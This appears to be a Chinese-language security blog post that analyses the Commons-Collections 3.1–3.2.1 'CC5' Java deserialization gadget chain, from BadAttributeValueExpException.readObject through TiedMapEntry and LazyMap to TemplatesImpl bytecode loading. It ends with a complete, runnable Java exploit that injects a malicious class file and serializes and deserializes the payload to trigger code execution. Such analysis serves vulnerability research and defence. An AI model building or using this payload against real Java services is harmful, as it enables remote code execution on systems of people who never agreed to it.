CommonsCollections5利用链

Java安全

利用条件

Commons-Collections 3.1 - 3.2.1版本

JDK版本:JDK8u301以下版本和JDK11版本可利用(需要关闭安全管理器,默认关闭)

利用链

Gadget chain:
    ObjectInputStream.readObject()
        BadAttributeValueExpException.readObject()
            TiedMapEntry.toString()
                LazyMap.get()
                    ChainedTransformer.transform()
						InstantiateTransformer.newTransformer()
							TemplatesImpl.newTransformer()

利用链分析

BadAttributeValueExpException

image-20230818122321284

BadAttributeValueExpException 类的父类的父类实现了 Serializable 接口,所以该类也是可被序列化的,查看该类的 readObject 方法

这个反序列化方法调用了 valObj.toString() 方法,而这个 valObj 是我们可控的,其实就是获取了 BadAttributeValueExpException 类的 val 属性,这个我们可以通过构造方法传入进去或者通过反射设置值

image-20230818123811466

虽然可以通过构造方法传入进去,但是为了避免在序列化时就被执行,所以需要通过反射来设置值

在上面我们还注意到,判断了 System.getSecurityManager() 是否为null,如果有安全管理器这条链就不能被利用了,默认是没有的

那么接下来就是要找哪个类的 toString() 方法可以实现一个利用链

TiedMapEntry

image-20230818124836116

TiedMapEntry 类中找到了有 toString() 方法,调用了 getKey()getValue() 方法

image-20230818125119318

这里是不是感觉很熟悉呢?是的,和CC6里面很像,getKey() 方法只是返回了一个 key 属性,而 getValue() 方法调用了 map 属性的 get() 方法,那么我们只需要把确保这个 mapLazyMap 类对象,这样就能和CC1链一样,调用后续的 transformer

image-20230818125549507

LazyMap 类的 get() 方法中调用了 factory 属性的 transform() 方法

这样,我们就可以利用CC6的中间部分,然后加以修改,后面 BadAttributeValueExpException 类作为反序列化入口就可以执行恶意代码了

在这里,我并没有使用CC1的前半段,而是使用了CC4的前半段,因为在有些场景中使用 Transformer[] 数组来进行反序列化,有时候数组处理不好的话会出错,所以尽量避免使用 Transformer[] 数组

利用链EXP编写

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class CommonsCollections5 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
                "/CommonsCollections/EvilCode.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class TemplatesClass = templates.getClass();
        Field name = TemplatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"x");
        Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        Class badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
        Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);
        deserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

Author: wileysec

Permalink: https://wileysec.github.io/ab6a59d5d2e4.html

Comments